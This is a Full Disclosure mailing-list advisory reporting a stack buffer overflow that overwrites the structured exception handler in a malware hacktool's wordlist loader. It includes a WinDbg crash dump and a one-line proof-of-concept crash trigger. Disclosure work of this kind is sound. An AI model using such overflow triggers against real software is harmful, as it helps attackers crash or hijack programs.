Date: Tue, 5 Oct 2021 20:00:11 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] HackTool.Win32.Agent.gi / Local Stack Buffer Overflow (SEH)

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/e60606d19a36789662ba97b4bb5c4ccf.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: HackTool.Win32.Agent.gi
Vulnerability: Local Stack Buffer Overflow (SEH)
Description: The Hack Office 2000 malware doesnt check bounds when
loading textfiles for the wordlist to perform website URL cracking.
Loading a specially crafted wordlist will trigger a stack buffer
overflow overwriting the registers and structured exception handler
(SEH).
Type: PE32
MD5: e60606d19a36789662ba97b4bb5c4ccf
Vuln ID: MVID-2021-0359
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 10/04/2021

Memory Dump:
(f98.b28): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b79d70 esi=000a1828 edi=000a1cec
eip=77b5e916 esp=000a1770 ebp=000a1810 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200212
ntdll!ZwQueryInformationProcess+0x26:
77b5e916 c21400          ret     14h


0:000> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77b79d70 esi=000a1828 edi=000a1cec
eip=77b5e916 esp=000a1770 ebp=000a1810 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200212
ntdll!ZwQueryInformationProcess+0x26:
77b5e916 c21400          ret     14h

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************
FAULTING_IP:
+597a550
46623b9a ??              ???

EXCEPTION_RECORD:  000a1e28 -- (.exr 0xa1e28)
ExceptionAddress: 00000000
   ExceptionCode: 0001007f
  ExceptionFlags: 00000000
NumberParameters: 0

PROCESS_NAME:  HackTool.Win32.Agent.gi.e60606d19a36789662ba97b4bb5c4ccf

MODULE_NAME: unknown

FAULTING_MODULE: 77af0000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP:  0

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  000a0ff8

WRITE_ADDRESS:  000a0ff8

FOLLOWUP_IP:
+597a550
46623b9a ??              ???

FAILED_INSTRUCTION_ADDRESS:
+26
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

CONTEXT:  0019f8e8 -- (.cxr 0x19f8e8)
eax=41414141 ebx=41414141 ecx=41414141 edx=41414141 esi=41414141 edi=41414141
eip=41414141 esp=41414141 ebp=41414141 iopl=0         nv up di pl zr na po cy
cs=4141  ss=4143  ds=4141  es=4141  fs=4141  gs=4141             efl=41414141
4141:41414141 ??              ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT:
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ;
.reload' to set symbol path and load symbols. ; Followup set based on
attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on
thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 00000000 to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACKIMMUNE_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141_EXH

PRIMARY_PROBLEM_CLASS:  STACKIMMUNE_EXH

DEFAULT_BUCKET_ID:  STACKIMMUNE_EXH

IP_ON_STACK:
+26
41414141 ??              ???

IP_IN_FREE_BLOCK: 41414141

UNALIGNED_STACK_POINTER:  41414141

STACK_TEXT:
00000000 00000000
unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf+0x0


STACK_COMMAND:  .cxr 000000000019F8E8 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:  unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf

FOLLOWUP_NAME:  MachineOwner

IMAGE_NAME:  unknown

FAILURE_BUCKET_ID:  STACKIMMUNE_EXH_c0000005_unknown!Unloaded

BUCKET_ID:  APPLICATION_FAULT_STACKIMMUNE_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_FILL_PATTERN_41414141_EXH_BAD_IP_unknown!hacktool.win32.agent.gi.e60606d19a36789662ba97b4bb5c4ccf

Followup: MachineOwner
---------

0:000> !exchain
0019e8c0: HackTool_Win32_Agent_gi+37f72 (00437f72)
0019f8e8: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
1) python -c "print('A'*10000)" > DOOM.txt
2) Load DOOM.txt in the vulnerable malware as wordlist for URL cracking feature.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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